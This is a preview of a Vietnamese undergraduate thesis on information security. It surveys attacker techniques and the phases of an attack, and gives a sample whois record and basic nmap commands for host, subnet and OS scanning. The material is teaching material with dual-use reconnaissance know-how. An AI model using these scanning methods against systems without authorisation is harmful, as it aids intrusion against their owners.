Tải bản đầy đủ (.pdf) (37 trang)

Đồ án tốt nghiệp khoa học an toàn thông tin

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (5.74 MB, 37 trang )

TRANG NHẬN XÉT CỦA GIẢNG VIÊN HƯỚNG DẪN

NHẬN XÉT CỦA GIẢNG VIÊN HƯỚNG DẪN

1. Mục đích và nội dung của đồ án:

2. Kết quả đạt được:

3. Ý thức làm việc của sinh viên:

Hà Nội, ngày 6 tháng 6 năm 2016
Giảng viên hướng dẫn
(Ký và ghi rõ họ tên)


Mục lục
1 Tổng quan về an ninh thông tin
1.1 An ninh thông tin . . . . . . . . . . . . . .
1.1.1 Vậy an ninh thông tin là gì ? . . . .
1.1.2 Các thuật ngữ về an ninh thông tin
1.2 Hacker . . . . . . . . . . . . . . . . . . . . .
1.2.1 Hacker là gì ? . . . . . . . . . . . . .
1.2.2 Các kỹ thuật tấn công của hacker .
1.3 Quy trình tấn công một mục tiêu . . . . . .
1.3.1 Phân loại các dạng tấn công . . . .
1.3.2 Quy trình tấn công . . . . . . . . . .

.
.
.
.


.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.

.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.

.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.

.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

5
5
5
6

6
6
7
7
7
8

2 Tổng quan về các kỹ thuật
2.1 Kỹ thuật thu thập thông tin .
2.2 Trojan và Backdoor . . . . .
2.3 Virus và Worm . . . . . . . .
2.4 Sniffer . . . . . . . . . . . . .
2.5 Social Engineering . . . . . .
2.6 Tấn công từ chối dịch vụ . . .
2.7 Session Hijacking . . . . . . .
2.8 SQL Injection . . . . . . . . .
2.9 Buffer Overflow . . . . . . . .
2.10 Wireless Hacking . . . . . . .

.
.
.
.
.
.
.
.
.
.


.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.

.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.

.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.


10
10
10
10
11
11
11
11
12
12
12

3 Đi sâu vào một số kỹ thuật
3.1 Kỹ thuật thu thập thông tin . . . . . . . . . . . . . . . .
3.1.1 Quy trình thu thập thông tin . . . . . . . . . . .
3.1.2 Một số công cụ thu thập thông tin điển hình . .
3.1.3 Cùng quậy với nmap . . . . . . . . . . . . . . . .
3.2 Trojan Và Backdoor . . . . . . . . . . . . . . . . . . . .
3.2.1 Phân biệt Trojan và Backdoor . . . . . . . . . .
3.2.2 Overt Và Covert Channel . . . . . . . . . . . . .
3.2.3 Các Trojan Và Backdoor đặc biệt . . . . . . . . .
3.2.4 Thử nghiệm tấn công . . . . . . . . . . . . . . .
3.2.5 Các phương pháp phòng chống . . . . . . . . . .
3.3 SQL Injection . . . . . . . . . . . . . . . . . . . . . . . .
3.3.1 Vậy SQL Injection là gì ? . . . . . . . . . . . . .
3.3.2 Các lỗi thường gặp . . . . . . . . . . . . . . . . .
3.3.3 Một số dạng tấn công SQL Injection thông dụng

.

.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.

.

.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.

.

.
.
.
.
.
.
.
.
.
.
.
.
.

13
13
13
13
15
18
18
19
19
20
22
22
22
22
23


.
.
.
.
.
.
.
.
.
.

1

.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.

.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.

.
.
.

.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.



3.4

3.3.4 Phòng trống tấn công SQL Injection . . . .
Tấn công từ chối dịch vụ . . . . . . . . . . . . . . .
3.4.1 Tấn công từ chối dịch vụ là gì ? . . . . . . .
3.4.2 Các giai đoạn của một cuộc tấn công DDoS
3.4.3 Một số khái niệm cần biết . . . . . . . . . .
3.4.4 Các mô hình tấn công DDoS . . . . . . . .
3.4.5 Phân loại các kiểu tấn công DDoS . . . . .
3.4.6 Thử nghiệm tấn công . . . . . . . . . . . .
3.4.7 Phòng chống tấn công từ chối dịch vụ . . .

2

.
.
.
.
.
.
.
.
.

.
.
.
.
.

.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.

.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.

.
.
.
.

27
27
27
28
28
28
30
32
34


Lời giới thiệu
Chắc chẳng cần nói thì mọi người cũng thấy được sự phát triển của ngành công
nghệ thông tin trong thời đại hiện nay tới mức nào. Mọi thứ trong xã hội đều
cần ứng dụng công nghệ thông tin từ sản xuất, tới kinh doanh cho tới vui chơi,
giải trí hay giáo dục, văn hóa nghệ thuật, . . . muốn phát triển được đều cần có
sự giúp đỡ của ngành công nghệ thông tin. Và thực tế cho thấy ngành nào có
một hệ thống thông tin hiệu quả thì ngành đó rất phát triển. Chẳng những thế
mà trong tốp 10 công ty lớn nhất thế giới có tới ba công ty làm về công nghệ
thông tin đó là Apple, Microsoft, Google. Và đặc biệt trong đó có công ty lớn
nhất là Apple. Chính vì vậy mà công việc giữ gìn an ninh thông tin cho các công
ty, chính phủ, cá nhân đặc biệt quan trọng. Nhất là trong khi su hướng phát
triển hiện nay phần lớn các tổ chức, cá nhân đều muốn đưa các sản phẩm, ứng
dụng, dịch vụ, thậm chí cả thông tin của mình nên internet vì tính tiện dụng
của nó. Chỉ cần được kết nối internet người dùng có thể truy cập các ứng dung,

dịch vụ(như thanh toán online), hay dữ liệu của mình mọi lúc, mọi nơi, tại mọi
thời điểm chỉ với một thiết bị điện thoại thông minh, hay một chiếc máy tính
cá nhân. Vấn đề nảy sinh là bản thân lúc đầu việc thiết kế ra mạng internet
người ta đã không tính tới mức độ an toàn của nó, hay chính bản thân các ứng
dụng, hệ thống khi thiết kế cũng không tránh được các lỗ hổng bảo mật, có thể
nói mọi hệ thống thông tin đều có lỗ hổng, việc tìm ra lỗ hổng đó chỉ là vấn đề
thời gian. Thậm trí ngay cả khi không tìm ra lỗ hổng ta vẫn có thể tấn công
vào một hệ thống nào đó. Do đó có một số nhóm người hay còn gọi là hacker
lợi dụng sự hiểu biết của bản thân về mạng máy tính, các ngôn ngữ lập trình,
phần cứng, . . . đã sử dụng nó vào các mục đích sai trái để tấn công vào các hệ
thống thông tin, hay các ứng dụng để nhằm mục đích đánh cắp dữ liệu, phá
hoai dữ liệu, hệ thống nhằm chuộc lợi cho bản thân hay chỉ đơn giản là thích
thể hiện bản thân.
Chính vì thế chưa lúc nào mà vấn đề về an ninh thông tin lại được quan tâm
như hiên nay. Không chỉ bây giờ mà sau này cũng vậy. Theo tổng kết an ninh
mạng của tập đoàn Bkav chỉ riêng ở VIỆT NAM 8.700 tỷ đồng là thiệt hại do
virus máy tính gây ra đối với người dùng Việt Nam trong năm 2015. Do sự thiếu
hiểu biết cũng như việc quan tâm tới an ninh thông tin của các doanh nghiệp,
cá nhân ở VIỆT NAM chưa được chú trọng.
Chính vì vậy ở đề tài này sẽ trình bày các vấn đề tổng quan nhất về an ninh
thông tin. Giúp cho người đọc ít nhất có thể hiểu được, các kỹ thuật mà tin
tặc hay sử dụng để tấn công một hệ thống, hay các giai đoạn mà hacker thường
làm để tấn công. Hơn nữa đề tài có đi sâu vào một số kỹ thuật có làm một số
ví dụ thực tế để có thể dễ dàng hình dung hơn. Nhưng do còn hạn chế về mặt
thời gian, bản thân người thực hiện đề tài và đặc biệt các vấn đề liên quan đến

3


An ninh thông tin


an ninh thông tin là vô cùng rộng lớn, nên đề tài chưa thể đề cập đến nhiều
vấn đề quan trong khác. Vì vậy đề tài không thể tránh những thiếu sót nên rất
mong bạn đọc đóng góp ý kiến và lượng thứ.
Lời cám ơn Trước hết em xin cám ơn toàn thể ban lãnh đạo viện Toán Tin
Ứng Dụng trường đại học Bách Khoa Hà Nội, đã tạo điều kiện cho chúng em
thực hiện các đề tài khoa học như thế này. Đặc biệt em xin gửi lời cám ơn chân
thành đến thầy “Vũ Thành Nam” giảng viên khoa toán tin trường đại học Bách
Khoa Hà Nội đã tận tình hướng dẫn em thực hiện đề tài này, và các bạn đọc
đã dành thời gian quý báu của bản thân đọc tài liệu. Nhưng do các hạn chế đã
nêu ở trên nên đề tài còn nhiều thiếu sót. Một lần nữa mong các bạn đọc gửi
các ý kiến đóng góp vào địa chỉ email :

4


Chương 1

Tổng quan về an ninh thông
tin
Sau chương nay chúng ta sẽ có được cái nhìn tổng quan nhất về an ninh thông tin,
hiểu được thế nào là an ninh thông tin là gì. Các kỹ thuật, và quy trình tấn công
một mục tiêu mà giới hacker sử dụng. . .

1.1
1.1.1

An ninh thông tin
Vậy an ninh thông tin là gì ?


An ninh thông tin(information security) thực chất có thể hiểu đó là công
việc mà chúng ta phải luôn luôn đảm bảo được các đặc tính cần có của thông
tin từ các tác động bên trong hay bên ngoài, các đặc tính đó là
1) Confidentiality(C): Là đặc tính riêng tư của thông tin. Một trong những
mục tiêu quan trọng nhất của an ninh thông tin là phải đảm bảo sự riêng
tư cho dữ liệu. Điều này có nghĩa là người dùng chỉ có thể truy vào thông
tin được phép truy cập. Ví dụ như một số khu vực quan trọng của chính
phủ nhằm ngăn chặn người lạ xâm nhập với bảng cấm “không phận sự
miễn vào” cũng là một hình thức bảo vệ tính riêng tư. Đối với dữ liệu
truyền để bảo vệ tính riêng tư thì chúng thường được mã hóa hay sử dụng
các giao thức truyền thông an toàn như SSH.
2) Integrity(I): Là đặc tính toàn vẹn của dữ liệu, Mục tiêu tiếp theo trong
an ninh thông tin là bảo vệ tính toàn vẹn cho dữ liệu. Đảm bảo rằng khi
dữ liệu truyền đi không bị thay đổi bởi một tác nhân khác, ví dụ khi một
email quan trọng được gởi đi thì thường được áp dụng các thuật toán bảo
vệ tính toàn vẹn như message digest ngăn ngừa bị một tác nhân thứ ba
thay đổi bằng cách chặn bắt thông điệp trên.
3) Availability(A): Là tính khả dụng, sẳn sàng đáp ứng nhu cầu người dùng
của thông tin, dịch vụ. Nghĩa là dữ liệu cần phải luôn luôn đáp ứng được
nhu cầu của người dùng. Đối với các nhà cung cấp dịch vụ, hay các doanh
nghiệp hệ thống bảo mật sẽ trở thành vô nghĩa nếu thiếu đi đặc tính này.Ví
dụ như dịch vụ email của doanh nghiệp phải luôn luôn có khả năng đáp

5


An ninh thông tin

CHƯƠNG 1. TỔNG QUAN VỀ AN NINH THÔNG TIN


ứng nhu cầu gởi và nhận email, nếu do sự cố nào đó mà dịch vụ email
không diễn ra được thì hệ thống bảo mật của chúng ta coi như đã bị sụp
đổ do đã đánh mất khả năng đáp ứng nhu cầu của người dùng.

1.1.2

Các thuật ngữ về an ninh thông tin

Để đi sâu hơn vào thế giới bảo mật chúng ta cần phải hiểu được các thuật ngữ
trong thế giới bảo mật
- Threat: Là các mối đe dọa đối với sự an toàn của thông tin bao gồm
hacker, virus, sự cố máy tính như hỏng phần cứng, do phần mêm hay kể
cả các nguyên nhân do thiên tai.
- Vulnerability: Là những điểm yếu về bảo mật của hệ thống có khả năng
bị tấn công.
- Exploit: Là quá trình khai thác các điểm yếu bảo mật để đánh cắp thông
tin, tiến trình này có thể được thực hiện bởi những tác nhân bên trong
hay bên ngoài hệ thống.
- Remote exploit: Là quá trình khai thác lỗ hổng bảo mật của hệ từ xa ở
trên máy tính khác hay internet.
- Local exploit: Là quá trình khai thác các điểm yếu về bảo mật ngay trên
hệ thống để tiến hành tăng quyền của một tài khoản hợp lệ nào đó, hay
bẻ khóa mật khẩu các ứng dụng.
- Target of evaluation: Chỉ những mục tiêu có khả năng chứa những lỗ hổng
bảo mật có khả năng bị tấn công. Các mục tiêu có thể là máy chủ, máy
trạm hay một website nào đó.
- Attack: Thuật ngữ chỉ tiến trình tấn công vào mục tiêu.

1.2
1.2.1


Hacker
Hacker là gì ?

Hacker có thể hiểu là những người có thể viết hay chỉnh sửa phần mềm, phần
cứng máy tính bao gồm lập trình, quản trị và bảo mật. Những người này hiểu
rõ hoạt động của hệ thống máy tính, mạng máy tính và dùng kiến thức của bản
thân để làm thay đổi, chỉnh sửa nó với nhiều mục đích tốt xấu khác nhau.
Dựa vào mục đích mà người ta chia hacker thành các loại như sau:
1) Black hat: Là những người hay nhóm người sử dụng kỹ năng và kiến thức
của mình để xâm nhập trái phép vào các hệ thống, thực hiện các hành vi
phá họai hay đánh cắp dữ liệu. Nhóm này còn được gọi là ’Cracker’ hay
‘Attacker’.
2) White hat: Là những người có kỹ năng của một hacker và sử dụng chúng
với mục đích tốt như bảo mật thông tin, chống lại các hacker mũ đen,
kiểm thử bảo mật.
1) Gray hat: Là người họat động trong cả hai lĩnh vực của hacker mũ đen và
hacker mũ trắng.
6


An ninh thông tin

1.2.2

CHƯƠNG 1. TỔNG QUAN VỀ AN NINH THÔNG TIN

Các kỹ thuật tấn công của hacker

Dựa vào các lỗ hổng bảo mật của các thành phần trong hệ thống như

- Hệ điều hành: Khi cài đặt hệ thống mà cấu hình mặc định, nghĩa là không
có sự thay đổi, tùy biến để tăng mức độ bảo mật hệ thống. Ngoài ra, việc
không được update các bản vá hay cài đặt các chương trình sữa lỗi bảo
mật cũng là mồi ngon của các kẻ tấn công.
- Ứng dụng: Các máy tính đều được cài đặt nhiều ứng dụng, nếu những ứng
dụng này có các lỗ hổng về bảo mật cũng là một nguy cơ để các hacker
khai thác.
- Lỗi cấu hình: Việc cấu hình sai là một trong những nguyên nhân chính
khiến hệ thống bị tấn công. Do đó sự hiểu biết của các quản trị viên có
vai trò đặc biệt tới mức độ bảo mật của hệ thống.
Từ đó các hacker có thể tấn công hệ thống nhờ các kỹ thuật như trojan, backdoor, sniffer, rootkit, Buffer Overflow, SQL Injection, DoS, DDoS,. . .

1.3
1.3.1

Quy trình tấn công một mục tiêu
Phân loại các dạng tấn công

Các dạng tấn công có thể phân loại dựa trên trạng thái hoạt động hay vị trí địa
lý.
1. Phân loại theo trạng thái hoạt động
- trạng thái bị động(passvie): Là các cuộc tấn công mà không tương
tác trực tiếp vào hệ thống hay đường truyền mà chỉ âm thầm thu thập
thông tin. Nghe lén sniffing là dạng tấn công loại này, hacker nghe lén
dữ liệu gọi là sniffer thường làm tổn hại tới đặc tính Confidentiality
của thông tin. Dạng tấn công này thì thường khó bị phát hiện.
- Trạng thái chủ đông(active): Là các cuộc tấn công tương tác trực
tiếp vào hệ thống hay đường truyền thường làm tổn hại tới đặc tính
Availability, Integrity. Ví dụ như DDoS, scan port là các cuộc tấn
công thuộc dạng này.

2. Phân loại theo vị trí địa lý
- Từ bên trong(inside) hệ thống: Những kẻ tấn công inside là các
insider thường là các nhân viên của công ty, hay những người có mối
quan hệ trực tiếp tới tổ chức vì vậy hậu quả của các cuộc tấn công
này hết sức nguy hiểm. Theo một số thống kê cho thấy 80% tác nhân
gây mất mát thông tin là những thành viên bên trong của hệ thống.
- Từ bên ngoài(outside) hệ thống: Những thành viên bên ngoài lại có
những mối nguy hiểm khác thành viên bên trong vì họ thường đông
đảo hơn, có trình độ kỹ thuật cao và mục tiêu tấn công của họ thường
nhắm vào những hệ thống ít được bảo vệ hay có sự giao tiếp với môi
trường công cộng như các máy chủ cơ sở dữ liệu, trang web,. . .
7


An ninh thông tin

1.3.2

CHƯƠNG 1. TỔNG QUAN VỀ AN NINH THÔNG TIN

Quy trình tấn công

Để tấn công một cách hiệu quả và không để lại dấu vết các hacker thường tuân
theo các giai đoạn nhất định như sau.

1. Reconnaissance: Là giai đoạn thu thập thông tin, dữ liệu về mục tiêu có
hai hình thức thực hiên công việc này là:
- Passive reconnaissance: Là qua trình thu thập thông tin mục tiêu
theo hình thức bị động. Thường được thực hiện bằng các công cụ
như google search, yahoo, facebook hay cơ sở dữ liệu Whois. Kiểu tấn

công sniffing là ví dụ điển hình nhất cho passive reconnaissance, với
phương pháp này hacker có thể thu thập được nhiều thông tin giá
trị như dãy địa chỉ IP, tên miền của tổ chức, các máy chủ ẩn danh
hay những dịch vụ đang hoạt động trên mạng.
- Active reconnaissance: Là quá trình thu thập thông tin theo hình
thức chủ động. Hacker tác động trực tiếp nên đối tượng để thu các
gói dữ liệu phản hồi. Ví dụ như kẻ tấn công dò quét mạng để xác định
các máy đang hoạt động hay các dịch vụ đang chay trên một máy nào
đó. Một trong những công cụ thường dùng là Nessus, Supperscan, . . .
2. Scanning: Là một quá trình thuộc giai đoạn reconnaissance . Hacker có
thể tiến hành scanning bằng các chương trình quét lỗi hệ thống, quét địa
chỉ ip hay các cổng đang mở là namp, Angry Ip Scan,. . .
3. Gaining access: Là quá trình xâm nhập mục tiêu khi quá trình khai thác và
tấn công thành công. Lúc này hacker có thể xâm nhập vào hệ thống đánh
cắp thông tin, phá hủy dữ liệu, cài đặt mã độc leo thang quyền. Để thâm
nhập thành công hacker cần có thông tin từ các giai đoạn reconnaissance,
scanning để đưa ra phương án tấn công hợp lý như khai thác lỗi tràn bộ
đệm (buffer overflow), hay chiếm quyền sử dụng của phiên làm việc của
người dùng (session hijacking), . . .

8


An ninh thông tin

CHƯƠNG 1. TỔNG QUAN VỀ AN NINH THÔNG TIN

4. Maintaining access: Là quá trình cài đặt các chương trình dán điệp để
duy trì sự kiểm soát, nghe lén thông tin người dùng, mở các cổng hậu để
có thể quay lại lần sau, sau khi đã thâm nhập thành công.

5. Covering track: Là quá trình xóa dấu vết để tránh bị phát hiện. Ví dụ
như sóa các tập tin nhật ký của ứng dưng, hệ thống xóa hoặc ẩn các tiến
trình nguy hiểm.

9


Chương 2

Tổng quan về các kỹ thuật
Ở chương này chúng ta sẽ cùng nhau tìm hiều về các kỹ thuật, mà các hacker hay
dùng để khai thác lỗ hổng của hệ thống, và đến chương 3 chúng ta sẽ đi sâu vào
các kỹ thuật điển hình.

2.1

Kỹ thuật thu thập thông tin

Một cuộc tấn công, có hiệu quả hay không phụ thuộc lớn vào lượng thông tin
mà thu thập được trước khi tấn cống. Từ các lượng thông tin đó mà hacker có
thể phân tích đánh giá, rồi lên phương án tấn công cho hiệu quả, một trong
những thông tin mà các hacker thường hay nhắm tới là máy chủ truy vấn tên
miền, dãy địa chỉ ip, hệ điều hành cài trên mục tiêu, thông tin cá nhân về người
quản trị hệ thống, các cổng đang mở, và các dịch vụ đang chạy trên các cổng
đó, . . .
Có rất nhiều công cụ phục vụ cho kỹ thuật này, nhưng đầu tiên ta phải kể tới
một công cụ nhỏ gọn mạnh mẽ đó là nmap chuyên phục vụ cho việc scanning,
hay whois Smart dò tìm các chủ sở hữu tên miền, Nslookup sử dụng cho
việc truy vấn tên miền, . . .


2.2

Trojan và Backdoor

Đây là kỹ thuật mà khi hacker khi đã xâm nhập vào được hệ thống, cần kiểm
soát mục tiêu họ sẽ cài đặt trái phép Troạn hay Backdoor, vào máy nạn nhân.
Giữa chúng có nhiều điểm khác biệt nhưng đều có chung một phương pháp lây
nhiễm đó là được cài đặt thông qua chương trình khác, hoặc lừa người dùng
click vào tập tin đính kèm mã độc trong email, hay click vào các đường link liên
kết các trang web đã được chèn mã khai thác, hay mã độc Trojan hay Backdoor.
Kỹ thuật này tôi sẽ trình bày kỹ ở chương sau.

2.3

Virus và Worm

Virus và Worm là những phần mềm nguy hiểm độc hại về mặt kinh tế hay phá
hủy dữ liệu người dùng. Sự khác nhau cơ bản gữa chúng là. Các chương trình
virus không tự mình lây lan được mà chỉ nhiễm vào các ứng dụng, sau đó và chỉ
10


An ninh thông tin

CHƯƠNG 2. TỔNG QUAN VỀ CÁC KỸ THUẬT

lây lan sang các máy tính khác khi người dùng sao chép hay di chuyển tập tin
bằng usb, . . . Trong khi đó worm có thể tìm ra các điểm yếu của các máy tính
khác trên mạng để lây nhiễm.


2.4

Sniffer

Là một kỹ thuật dùng để nghe lén thông tin của mục tiêu. Trong giới bảo mật
thì sniffer là các công cụ có khả năng bắt các gói tin trong quá trình truyền,
và hiển thị chúng dưới màn hình giao diện đồ họa. Có những sniffer đặc biệt
mà sau khi đánh cắp gói tin có thể tự động nắp ráp thành các tài liệu gốc như
trước khi chuyền. Nó có thể đánh cắp các thông bí mật của người dùng như tài
khoản email, tín dụng, facebook, . . . Một trong các công cụ kinh điển nhất của
sniffer đó là Wiresharke.

2.5

Social Engineering

Đây là một phương pháp phi kỹ thuật, tận dụng các kiến thức và kỹ năng xã
hội để đạt được mục đích một cách nhanh chóng. Nó có thể xem như một kiểu
lừa đảo để chiếm dụng tài sản, hay giả mạo để đạt được mục tiêu nào đó.
Một trong những câu chuyện mà luôn được nhắc trong giới bảo mật khi nhắc
tới kỹ thuật này đó là, trong một cuộc thăm dò về sự quản lý chặt chẽ trong
an ninh thông tin các công ty lớn tại Wall Street, các hacker mũ trắng đã giả
dạng nhóm chuyên viên an ninh mạng, tiến hành đợt khảo sát thẩm định an
ninh miễn phí cho các công ty trên. Đã yêu cầu các quản trị viên hệ thống các
công ty trên cho phép kiểm tra hệ thống máy chủ, kể cả những thông tin quan
trọng đánh giá xem có lỗ hổng bảo mật hay không. Điều đáng kinh ngạc là 7
trong 10 công ty đã đồng ý cho việc kiểm tra. Thật may mắn đây chỉ là sự thử
nghiệm. Chúng ta mới thấy được tầm quan trọng và nguy hiểm không lường
trước được của phương pháp phi kỹ thuật này.


2.6

Tấn công từ chối dịch vụ

Đây là phương pháp mà khi hacker không thể tìm được lỗ hổng của hệ thống
để xâm nhập vào thì sẽ thường nghĩ đến kỹ thuật này. Nó là kỹ thuật làm tràn
ngập hệ thống mục tiêu bằng các truy nhập không hợp lệ, làm cho hệ thống mục
tiêu tê liệt không phục vụ được các truy nhập hợp lệ. Các cuộc tấn công này
thường có hai dạng là DoS(Denial of Service), hay DDoS( Distributed Denial of
Service) điều khác nhau của hai kỹ thuật này chỉ là số lượng nguồn tấn công.
DoS là kỹ thuật chỉ có một nguồn tấn công, còn DDoS thì nguồn tấn công là
nhiều nguồn, đây là kỹ thuật đặc biệt nghiêm trọng việc phòng chống nó chỉ
dừng lại ở mức khắc phục hậu quả. Kỹ thuật này sẽ được đi sâu vào chương
sau.

2.7

Session Hijacking

Kỹ thuật này nhằm vào các người dùng mạng xã hội như Facebook, Gmail,
Yahoo. Hijacking là hình thức tấn công vào phiên làm việc giữa client và server

11


An ninh thông tin

CHƯƠNG 2. TỔNG QUAN VỀ CÁC KỸ THUẬT

và đánh cắp cookie của người sử dụng sau khi họ đã qua bước xác thực với máy

chủ, sau đó sẽ chiếm quyền điều khiển của phiên làm việc này.

2.8

SQL Injection

Đây là kỹ thuật, chuyên lợi dụng lỗ hổng của việc kiểm tra dữ liệu đầu vào
trong các ứng dụng web, các thông báo lỗi của hệ quản trị cơ sở dữ liệu trả về,
để inject(tiêm vào) các câu lệnh SQL và thực thi chúng bất hợp pháp. Thực
hiện các thao tác delete, insert, update,. . . trên cơ sở dữ liệu của ứng dụng.

2.9

Buffer Overflow

Buffer Overflow hay còn gọi là lỗi tràn bộ đệm, có nguyên nhân gần giống với
kiểu tấn công SQL Injection, khi user, hacker vô tình hay cố ý nhập các biến
đầu vào vượt quá khả năng xử lý của chương trình. Nếu chương trình thiết kế
không tốt sẽ làm cho hệ thống bị treo dẫn đến từ chối phục vụ các yêu cầu. Từ
đó hacker chèn các chỉ thị trái phép nhằm thực thi các đoạn mã nguy hiểm từ
xa. Có hai dạng lỗi tràn bộ đệm là stack-based và heap-based.

2.10

Wireless Hacking

Một trong những sở thích lớn nhất của con người đó là dùng chùa mà không
phải trả tiền một thứ gì đó và đặc biệt là mạng wifi. Kỹ thuật Wireless Hacking
là việc tấn công vào các mạng không dây nhằm đánh cắp mật khẩu mạng wifi
để phục vụ cho nhu cầu cá nhân.


12


Chương 3

Đi sâu vào một số kỹ thuật
Ở chương trước chúng ta đã tìm hiểu các khái niệm về các cách tấn công mà các
hacker hay dùng. Tiếp đến tôi sẽ đi sâu trình bày về các kỹ thuật hay, cần thiết và
phổ biến.

3.1

Kỹ thuật thu thập thông tin

Bước đầu tiên trong mọi cuộc tấn công đó là việc thu thập thông tin, thông tin
càng nhiều thì tấn công càng hiệu quả. Hacker cần thu thập rất nhiều thông
tin về mục tiêu của mình như chủ sở hữu tên miền trang web, địa chỉ ip, trang
quản trị, thông tin cá nhân người quản trị, máy chủ phân giải tên miền, các
cổng dịch vụ đang mở hay đóng trên một host . . .

3.1.1

Quy trình thu thập thông tin

Để tiến hành thu thập thông tin một cách khoa học, có hiệu quả chúng ta cần
thực hiện như sau;
1. tìm kiếm thông tin từ các nguồn thông tin như các thông tin của các tổ
trức, doanh nghiệp công bố trên internet.
2. Xác đinh dãy các địa chỉ mạng

3. Xác định các máy đang hoạt động trong hệ thống.
4. Tìm kiếm các cổng mở trên các host trên hệ thống.
5. Dò tìm xem hệ điều hành của mục tiêu là gì.
6. Tìm kiếm các dịch vụ nào đang hoạt động trên các cổng mở.
7. Lập mô hình mạng.

3.1.2

Một số công cụ thu thập thông tin điển hình

Các công cụ tìm kiếm
Một trong những cách thu thập thông tin hiệu quả mà an toàn nhất, chính
là thông qua các công cụ tìm kiếm. Nếu biết sử dụng các từ khóa một cách
13


An ninh thông tin

CHƯƠNG 3. ĐI SÂU VÀO MỘT SỐ KỸ THUẬT

thông minh, chúng ta sẽ có thể dò được những thông tin mật, hay với phương
pháp tìm kiếm bình thường ta không thể tìm ra, đã có cả một cuốn sách google
hacking nói về cách tìm kiếm thông tin nhạy cảm trên công cụ tìm kiếm google.
Ví dụ như để tìm các tài liệu liên quan tới hacking ta có thể gõ tìm kiếm như
sau: filetype: pdf hacking

Một loạt các kết quả liên quan đến từ khóa hacking đã ra.
Chúng ta có thể tìm kiếm các nguồn thông tin từ
- Open source : Các nguồn tài nguyên mở là những dữ liệu công khai như
trang vàng doanh nghiệp, danh bạ điện thọai.

- Whois : Cơ sở dữ liệu về chủ sở hữu tên miền.
- Nslookup : Thông tin về máy chủ phân giải tên miền.
Whois Là công cụ offline giống như tiện ích online www.whois.net dùng để thu
thập các thông tin liên quan đến một tên miền nào đó, như nơi lưu trữ trang
web, địa chỉ liên lạc người quản trị, địa chỉ ip các máy chủ phân giải tên miền
DNS. Ví dụ sau đây là thông tin tìm kiếm về tên miền eccouncil.org với Whois
W HOIS OUTPUT FOR WWW . ECCOUNCI .ORG
Domain ID:D81180127-LROR
Domain Name:ECCOUNCIL.ORG
Created On:14-Dec-2001 10:13:06 UTC
Sponsoring Registrar:Tucows Inc. (R11-LROR)
Status:OK
Registrant ID:tuTv2ItRZBMNd4lA
Registrant Name: John Smith
Registrant Organization:International Council of E-Commerce Consultants
Registrant Street1:67 Wall Street, 22nd Floor
14


An ninh thông tin

CHƯƠNG 3. ĐI SÂU VÀO MỘT SỐ KỸ THUẬT

Registrant City:New York
Registrant State/Province:NY
Registrant Postal Code:10005-3198
Registrant Country:US
Registrant Phone:+1.2127098253
Information-Gathering Methodology 45
Registrant FAX Ext.:

Registrant Email:
Admin ID:tus9DYvpp5mrbLNd
Admin Name: Susan Johnson
Admin Organization:International Council of E-Commerce Consultants
Admin Street1:67 Wall Street, 22nd Floor
Admin City:New York
Admin State/Province:NY
Tech Email:
Name Server: ns1.xyz.net
Name Server: ns2.xyz.net
Nslookup: Nslookup là chương trình truy vấn tên miền trên Internet của các
máy chủ, và đều được tích hợp sẵn trên windows hay linux. Và còn rất nhiều
các công cụ hộ trợ cho việc tìm kiếm thông tin hay nhiều mục đích khác như 3d
Traceroute xác định vị trí địa lý của mục tiêu, Email Tracking kiểm soát email
của mình, . . .

3.1.3

Cùng quậy với nmap

Đây là một chương trình kinh điển nhất trong việc scanning. Đây là một công
cụ cực mạnh được sử dụng rất nhiều trong giới bảo mật, cũng như hacker trong
việc quét cổng, ping sweep, xác định dịch vụ, hệ điều hành. Nó phổ biến đến nỗi
mà đã nhiều lần xuất hiện trên các bộ phim truyền hình nổi tiếng như Matrix
Reloades, The Bourne Ultimatum.

15


An ninh thông tin


CHƯƠNG 3. ĐI SÂU VÀO MỘT SỐ KỸ THUẬT

Nmap là công cụ miễn phí được tích hợp sẵn trên hệ điều hành kali linux, hoặc
có thể tải về và cài đặt trên hệ điều hành windows. Nmap có nhiều tùy chọn
thích hợp với những nhu cầu quét cổng hay dò tìm dịch vụ khác nhau như trong
danh sách sau :

- TCP connect: Khởi tạo kết nối TCP đầy đủ với mục tiêu.
- XMAS tree scan: Kiểm tra các dịch vụ TCP bằng các gói tin XMAStree(có các cờ đặc biệt như FIN, URG, PSH).
- SYN stealth scan: Còn gọi là half-open scanning. Gửi các gói tin SYN
nhận các gói tin SYN-ACK từ mục tiêu. Hacker và mục tiêu sẽ không
được thiết lập kết nối đầy đủ.
- Null scan: Là phương pháp quét mạng nâng cao có thể vượt qua cả cơ chế
dò tìm của firewall. Với tất cả các cờ được tắt.
- ACK scan: Được dùng để dò tìm các quy tắc cùa firewall, chỉ hoạt động
trên các hệ thống UNIX.
Để xác định một host ta có thể dùng lệnh: nmap 192.168.1.1
Hay nếu muốn quét một dải ip: nmap 192.168.1.1/24
Có thể quét xem mục tiêu cài hệ điều hành gì với: nmap -O 192.168.2.121

16


An ninh thông tin

CHƯƠNG 3. ĐI SÂU VÀO MỘT SỐ KỸ THUẬT

